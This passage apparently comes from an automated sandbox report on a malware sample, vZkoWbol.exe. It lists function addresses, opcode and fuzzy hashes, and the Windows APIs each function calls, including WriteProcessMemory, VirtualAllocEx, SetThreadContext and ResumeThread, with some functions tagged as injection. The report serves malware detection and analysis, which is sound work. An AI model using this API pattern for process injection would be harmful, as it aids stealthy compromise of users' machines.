Instruction ID: d08a9c43f904cc93f40aec403e77fae77ffa3ccffadcb52ef5787cd5326035ff
Opcode Fuzzy Hash: 42b76eec3510475b9d6a61a9206b69c6fa5201249fe89dc6693629bcf7508bc8
Instruction Fuzzy Hash: 9241EFB1C00629CFDB24CFA9C984B9DFBB2BF49304F24805AD418AB254DB755946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06637358 Relevance: 1.6, APIs: 1, Instructions: 73
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 066373F0

Memory Dump Source

Source File: 00000007.00000002.2142874719.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6630000_vZkoWbol.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 99bc8bb523f78fda6bf0cfdce04b25d118b1f040e7bf4136f122014119632ec7
Instruction ID: 0b7113708ff27da6c2fa4a87c65dacab24c67d3a3fbcb2eb378619d4cef722b6
Opcode Fuzzy Hash: 99bc8bb523f78fda6bf0cfdce04b25d118b1f040e7bf4136f122014119632ec7
Instruction Fuzzy Hash: 162135B5D002199FDB10CFA9C880BEEBBF5FF88310F10842AE919A7240C7789941CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0663B7F8 Relevance: 1.6, APIs: 1, Instructions: 69
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0663B85D

Memory Dump Source

Source File: 00000007.00000002.2142874719.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6630000_vZkoWbol.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 271db4aae48d0356b279a9cb227e7e6a98dab87ca348c01e068096d03be389a5
Instruction ID: 2d5da5f64ba08d058d4065ec78975f76e6ad612620c5e3b43b269108a2cc46b4
Opcode Fuzzy Hash: 271db4aae48d0356b279a9cb227e7e6a98dab87ca348c01e068096d03be389a5
Instruction Fuzzy Hash: F22116B68002189EDB60DF99D849BDEBBF8EB58324F20845AD518A7610C379A544CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06637360 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 066373F0

Memory Dump Source

Source File: 00000007.00000002.2142874719.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6630000_vZkoWbol.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 4dc4e99d8117bdcb2c9eb595877c40b38bb118971b7fc4de9b92480a8e1cbf6e
Instruction ID: 4b65533f502464449967ccde8580b392b98472b9710a234901828ccf311befbb
Opcode Fuzzy Hash: 4dc4e99d8117bdcb2c9eb595877c40b38bb118971b7fc4de9b92480a8e1cbf6e
Instruction Fuzzy Hash: 3F21F6B59003599FDB10DFA9C885BEEBBF5FF48310F108429E919A7240C778A944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0663744C Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 066374D0

Memory Dump Source

Source File: 00000007.00000002.2142874719.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6630000_vZkoWbol.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 9bf2c5cbae04bda019e1177fa0ec084ee728c8b7f56e3c569d48f51901582084
Instruction ID: 8d49ca1c60a806cd1273d92ce08a9a0ac70845ad6e8bed92d31eee3b398228c0
Opcode Fuzzy Hash: 9bf2c5cbae04bda019e1177fa0ec084ee728c8b7f56e3c569d48f51901582084
Instruction Fuzzy Hash: E72116B1C002599FDB10DFAAC881AEEFBF5FF48310F508429E519A7251C778A541CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 06637450 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 066374D0

Memory Dump Source

Source File: 00000007.00000002.2142874719.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6630000_vZkoWbol.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 4fb060d4b0f9259c77a117e082f14eb660970b03065a5a85e1b0a8710dc84229
Instruction ID: 063ebda48f40a957b2c546a1f02bc1d77b74e59166cb0daf9854dbd29e01dae0
Opcode Fuzzy Hash: 4fb060d4b0f9259c77a117e082f14eb660970b03065a5a85e1b0a8710dc84229
Instruction Fuzzy Hash: B12128B1C003599FCB10DFAAC880AEEFBF5FF48310F508429E519A7240C778A540CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 066371C8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06637246

Memory Dump Source

Source File: 00000007.00000002.2142874719.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6630000_vZkoWbol.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 06a476fcbbcd4eb1efe39522ef80da1068579b6732bb7ce53fe0cca23b88e693
Instruction ID: 4d8dcd2f95f5b9ac49d6d9941832b2450d0bc3427b9a7945642633333585c8a3
Opcode Fuzzy Hash: 06a476fcbbcd4eb1efe39522ef80da1068579b6732bb7ce53fe0cca23b88e693
Instruction Fuzzy Hash: EE2137B1D002098FDB50DFAAC585BEEBBF4EF88320F148429D519A7240CB789944CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 06637298 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0663730E

Memory Dump Source

Source File: 00000007.00000002.2142874719.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6630000_vZkoWbol.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a5e082bd5bc6ee734f1c33dbde813379797875c4ec3d3ef288b3560c3aff55e4
Instruction ID: 0319ea5d84e1d3d3ebd0006a7e10f06a92548c552572fd84d4024aeede31a8e4
Opcode Fuzzy Hash: a5e082bd5bc6ee734f1c33dbde813379797875c4ec3d3ef288b3560c3aff55e4
Instruction Fuzzy Hash: 6C115CB18002499FDB20DFAAC844ADFBFF5FF88320F148819E519A7250CB799940CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 066372A0 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0663730E

Memory Dump Source

Source File: 00000007.00000002.2142874719.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6630000_vZkoWbol.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8ba8884342e0a31d272ce9320e88fb609c1a9626d76cdb41014b245a705c9d09
Instruction ID: 1b8a9763b8ee32c6b34e003123fda801f38c05f0adb345479bad9007b128e8f1
Opcode Fuzzy Hash: 8ba8884342e0a31d272ce9320e88fb609c1a9626d76cdb41014b245a705c9d09
Instruction Fuzzy Hash: DD1129B18002499FDB10DFAAC844ADEBFF5EF48310F148419D519A7250C7799940CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 06637110 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 0663717A

Memory Dump Source

Source File: 00000007.00000002.2142874719.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6630000_vZkoWbol.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: f395c59fc61863cadadf64a32d885302f10363a49eab4659e99022ff2f08ada8
Instruction ID: 9c628373f871a410e9579053984d9a452f123b506be20684876518dab0c1bd80
Opcode Fuzzy Hash: f395c59fc61863cadadf64a32d885302f10363a49eab4659e99022ff2f08ada8
Instruction Fuzzy Hash: CB112BB1D002498EDB24DFAAC4457EEFFF5EF88324F248419D419A7240CB795545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 06637118 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 0663717A

Memory Dump Source

Source File: 00000007.00000002.2142874719.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6630000_vZkoWbol.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 873548cc07589c00d22aed0348aff0259cec4209e17df40c6d41d09abd98c401
Instruction ID: 48641fc8a4dccd478a2a77f74bd7219ef00860b70b949dd03edc084fc73a0876
Opcode Fuzzy Hash: 873548cc07589c00d22aed0348aff0259cec4209e17df40c6d41d09abd98c401
Instruction Fuzzy Hash: 6F1128B1D003498BDB20DFAAC8457EEFBF5EF89324F248419D519A7240CB79A544CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 06639088 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0663B85D

Memory Dump Source

Source File: 00000007.00000002.2142874719.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6630000_vZkoWbol.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: bdb6fb4ef848bdcf78aabd4259be18bbba4260630631ba887d5afe6dcebd4f96
Instruction ID: 8db308b690936264a99daf37d56fd2cc1a8d7a514a9efa884320fd60d70c5dca
Opcode Fuzzy Hash: bdb6fb4ef848bdcf78aabd4259be18bbba4260630631ba887d5afe6dcebd4f96
Instruction Fuzzy Hash: E511F5B58003599FDB60DF99D885BDEFBF8FB58320F10841AE519A7240C3B9A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0170D034 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2138844504.000000000170D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0170D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_170d000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88c308c137222a2434a8075d6eca309a3107fd3348e20f52a9132c38ab140148
Instruction ID: 0d78b4ffc777d0f678bf5beb118e1128cf0cbc1ac3837921962c47546e0a16e6
Opcode Fuzzy Hash: 88c308c137222a2434a8075d6eca309a3107fd3348e20f52a9132c38ab140148
Instruction Fuzzy Hash: B931B37554C380CFD713CFA4D994715BFB1EF46214F19C5EAC4498B2A3C27A8806CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0170D055 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2138844504.000000000170D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0170D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_170d000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72e8bfd04d6f9b4e71d781f6526217cd301245c375ce510b0f0609071f433e12
Instruction ID: 98b51d109ec05d03a28026019e0c1f9bef3ba6e763a36acc022f9834dfaa76db
Opcode Fuzzy Hash: 72e8bfd04d6f9b4e71d781f6526217cd301245c375ce510b0f0609071f433e12
Instruction Fuzzy Hash: 61318D71548380CFD713CFA4D994715BFB1EF46214F19C5EAD8898B2A7C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0170D294 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2138844504.000000000170D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0170D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_170d000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a53c73b7f3a431b53d27009b1fee154c9748dda34346c660f7172043b8c7c79a
Instruction ID: 44a3bdcadaeef8d90f4624658e9627755b9aeca355100aa7f67481d103556b93
Opcode Fuzzy Hash: a53c73b7f3a431b53d27009b1fee154c9748dda34346c660f7172043b8c7c79a
Instruction Fuzzy Hash: 7E210371604304DFCB16DFD8C980B26FBA5FB88324F20C5A9D8090B292C37AD806CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0170D0DC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2138844504.000000000170D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0170D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_170d000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89e791c4825afc3ee3b729e75010f0af4a4ad7bc332fe38197b118966ed82678
Instruction ID: 21990d73e12bb650aaee448cbdfd8f1ec54e46f7b14c6f66e3c954bf65395bed
Opcode Fuzzy Hash: 89e791c4825afc3ee3b729e75010f0af4a4ad7bc332fe38197b118966ed82678
Instruction Fuzzy Hash: 8C21D371504304DFDB16DF98D980B26FBA5EB84314F20C5A9D9094B296C73AD846CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0170D28F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2138844504.000000000170D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0170D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_170d000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: f03570d7ecbd7d3aaf344e721f9828343366e44e72ded0d6c1ab3020bde17cd6
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: DF11BB75504380CFDB12CF94D9C4B15FFA1FB84214F24C6A9D8494B292C33AD44ACB62

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vZkoWbol.exePID: 7324, Parent PID: 6460COMMON

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	150
Total number of Limit Nodes:	19

Executed Functions

Function 06D53070 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06D5376F
$]q, xrefs: 06D537A4
$]q, xrefs: 06D537C8
$]q, xrefs: 06D537BC
$]q, xrefs: 06D53798
$]q, xrefs: 06D5377B

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: e4f6fd880f74e144c2972ae57df01e10e1ffbec8301d7296958f77bf26d74018
Instruction ID: 299a11c5024669cd4c06f319a763f0e19c377a8ab28991bcaadd542bb3f1858d
Opcode Fuzzy Hash: e4f6fd880f74e144c2972ae57df01e10e1ffbec8301d7296958f77bf26d74018
Instruction Fuzzy Hash: 38323D31E1061ACBCB14DF79D89459DB7B2FFC9340F21C6AAD449A7264EB30AD85CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06D57D60 Relevance: 3.0, Strings: 2, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06D582FB
$]q, xrefs: 06D58307

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: dc4ad9b7f0a86a69bbf991b8d98c06f2c78b1602a6309943bdbcb1a53b72c8a1
Instruction ID: c7b2c5f84dcc2e159a96a05d1e422e03bd846b934988b17fcb45b0857a3e8e31
Opcode Fuzzy Hash: dc4ad9b7f0a86a69bbf991b8d98c06f2c78b1602a6309943bdbcb1a53b72c8a1
Instruction Fuzzy Hash: 81028C30B002159FDF58DF69D990AAEB7E2FF84214F158529D806DB790DB39EC86CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06D52342 Relevance: 1.0, Instructions: 1023COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f115f1929d1d80b1d8df7b7f8b5b4370c1e72a7dd31669b2037bfaa193e63d41
Instruction ID: 3bab66e2d9caea911434ca174ab8fab9b0ddeddc2a0d3e78072656791a0fd6ee
Opcode Fuzzy Hash: f115f1929d1d80b1d8df7b7f8b5b4370c1e72a7dd31669b2037bfaa193e63d41
Instruction Fuzzy Hash: FC925734A002048FDB64DF68C584A9DBBF2FF48314F5684A9D809DB765DB35ED89CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06D565C8 Relevance: .8, Instructions: 833COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9890c496549d916508a47276043bc5c44be65ceb47983804c73be7f4c6d08666
Instruction ID: 8a1ba4b6bfc7cd5fecf6c101329115a1a871aacf8444d295aeb37ed8abe31178
Opcode Fuzzy Hash: 9890c496549d916508a47276043bc5c44be65ceb47983804c73be7f4c6d08666
Instruction Fuzzy Hash: F362BF34B002448FDF54DB68D590AADB7F2EF84354F668469E806DB7A0DB39EC46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06D5C168 Relevance: .6, Instructions: 648COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7460a642cc77a6115b24ebca2e8ce2d5f5dc5720913a25c6c40a9a796ae015fc
Instruction ID: d4a5fd38983a14689b3c7362dbfb283a2730255d51b6f812c43cf5cd08d947e7
Opcode Fuzzy Hash: 7460a642cc77a6115b24ebca2e8ce2d5f5dc5720913a25c6c40a9a796ae015fc
Instruction Fuzzy Hash: 8E328D34B102098FDF54DB68D890BAEB7B6EF88314F118529E805EB754DB39EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06D5B2B9 Relevance: .6, Instructions: 611COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e62d6f01b18687379a06baa921470156dcb67890f292520f0d34d0c8cd40d24
Instruction ID: 7b57a2622e3cca581d8555a067ba2b2d2800e69c9598e1db4f37c5d2913e489c
Opcode Fuzzy Hash: 0e62d6f01b18687379a06baa921470156dcb67890f292520f0d34d0c8cd40d24
Instruction Fuzzy Hash: 3B227370E102098FDF64CB69D5A07ADB7B6EF85314F218826D819EB791CB38DC85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06D555A8 Relevance: .6, Instructions: 594COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f16ca3aa06bbd118d884e3212735d1b5c1f58478022b1881f8cfd82f83342f8
Instruction ID: 2a885b1855619fceaa41400652c0095d1cd36fd54fec3940ec47037502feeb96
Opcode Fuzzy Hash: 2f16ca3aa06bbd118d884e3212735d1b5c1f58478022b1881f8cfd82f83342f8
Instruction Fuzzy Hash: B412D235F002159BDF65DBA4E8806AEBBB2FF85310F258569D84ADB740DB38DC42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06D59130 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06D591BE
$]q, xrefs: 06D59183
$]q, xrefs: 06D59177
$]q, xrefs: 06D591B2

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 85e1f8430bcb9d987f363ad4c546353bdd5d59cc0623b01bf378627c936258a8
Instruction ID: c46263af2a59d9a1491341e7cac21d58a83ac829c11402e10447994eb47a819c
Opcode Fuzzy Hash: 85e1f8430bcb9d987f363ad4c546353bdd5d59cc0623b01bf378627c936258a8
Instruction Fuzzy Hash: 68914F30B4021A9FDB94DF69D960BAEB3F6FFC4244F118469C809EB744EE749C468B91

Uniqueness

Uniqueness Score: -1.00%

Function 06D5CF30 Relevance: 4.6, Strings: 3, Instructions: 802
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06D5D337
$]q, xrefs: 06D5D323
$]q, xrefs: 06D5D32B

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q
API String ID: 0-182748909
Opcode ID: e0944e0570561b5ff9c1ad18c641136e0cba21f812eeb191718395b46c4930ca
Instruction ID: 2f1b2865db5b9cdceac3928cd95a80ebf9a788a464d14d69bf3ae29e017f9dee
Opcode Fuzzy Hash: e0944e0570561b5ff9c1ad18c641136e0cba21f812eeb191718395b46c4930ca
Instruction Fuzzy Hash: A0627E30A0020A8FCB55EF69E580A5DB7F7FF84304B218928D4099F769DB79EC46CB95

Uniqueness

Uniqueness Score: -1.00%

Function 06D54B78 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Obq, xrefs: 06D54D53
fbq, xrefs: 06D54BA3
XPbq, xrefs: 06D54CC9

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID: fbq$XPbq$\Obq
API String ID: 0-4057264190
Opcode ID: 19c102297fa28049a2d62d7cc556565770028161337d24921dc923cfa44dadba
Instruction ID: 80f4aac3a9f915315893e25bd34ce6efc548769e73b2983b35fe64c16d4f5682
Opcode Fuzzy Hash: 19c102297fa28049a2d62d7cc556565770028161337d24921dc923cfa44dadba
Instruction Fuzzy Hash: 5C617230F002199FEF549FA9D8547AEBAF6FFC8710F208429D50AEB394DA758C418B95

Uniqueness

Uniqueness Score: -1.00%

Function 06D5911F Relevance: 2.7, Strings: 2, Instructions: 181
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06D59177
$]q, xrefs: 06D591B2

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 6952ddfc6c57e03c92e75cd5bf0c7b98b574896df2517895226c754aa459f25f
Instruction ID: f4a3ff75176e218f20d2f11720689f3d9f1f391170faeec5ea6fad7d061d4271
Opcode Fuzzy Hash: 6952ddfc6c57e03c92e75cd5bf0c7b98b574896df2517895226c754aa459f25f
Instruction Fuzzy Hash: 4651CF30B002069FDF94CB79D8A0BAE73F6EFC8244F018469C80ADB784DE349C428B91

Uniqueness

Uniqueness Score: -1.00%

Function 06D54B68 Relevance: 2.6, Strings: 2, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fbq, xrefs: 06D54BA3
XPbq, xrefs: 06D54CC9

Memory Dump Source

Source File: 0000000C.00000002.4541712075.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d50000_vZkoWbol.jbxd

Similarity

API ID:
String ID: fbq$XPbq
API String ID: 0-2292610095
Opcode ID: cf83d65647c3b65d44e9622804f7a3a76a5b2a6b96323402b24bc2172b8e61b3
Instruction ID: d3512d2843f839f7016596b285085d0be8fa0432eb69ab2609cfa2e3cac762d6
Opcode Fuzzy Hash: cf83d65647c3b65d44e9622804f7a3a76a5b2a6b96323402b24bc2172b8e61b3
Instruction Fuzzy Hash: C9519230F002099FDB549FA9C8547AEBBF6FFC8710F21852AD506EB394DA798C418B91

Uniqueness

Uniqueness Score: -1.00%

Function 013DE978 Relevance: 1.6, APIs: 1, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.4524828442.00000000013D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_13d0000_vZkoWbol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f13231771941778e7da631c12f46f8191e96f5881818859289e1dbdce338f0e1
Instruction ID: 99de47cbd38d055a2ec360419527eecba7d32773e4f78953542073431633f1ad
Opcode Fuzzy Hash: f13231771941778e7da631c12f46f8191e96f5881818859289e1dbdce338f0e1
Instruction Fuzzy Hash: CA415532D053898FCB04DFB9D8046DEBFB5AF89310F1485AAE404A7641DB389880CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 06D42593 Relevance: 1.6, APIs: 1, Instructions: 115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06D426AA

Memory Dump Source

Source File: 0000000C.00000002.4541601732.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d40000_vZkoWbol.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 7fad71a36a7ee3c1d31c1cc70cae45f6af5aa23a572d0e576142e081510039b7
Instruction ID: b026216f7496feb6ddbf1d34c4e8e41f1387ce76f9ce7b8f6636fc2141d7f15c
Opcode Fuzzy Hash: 7fad71a36a7ee3c1d31c1cc70cae45f6af5aa23a572d0e576142e081510039b7
Instruction Fuzzy Hash: A041B1B1D103499FDB14DF9AC884ADEBBB5BF48310F24812AE419AB250D775A985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06D42598 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06D426AA

Memory Dump Source

Source File: 0000000C.00000002.4541601732.0000000006D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6d40000_vZkoWbol.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 415e12ed32fe8044ca3d12cc368901753666ea87f29e1522389e3acc6b8468fb
Instruction ID: c6b8e341ac89740149468152c720acf81dea4fcd62f98f59db13415b0d16d76d
Opcode Fuzzy Hash: 415e12ed32fe8044ca3d12cc368901753666ea87f29e1522389e3acc6b8468fb
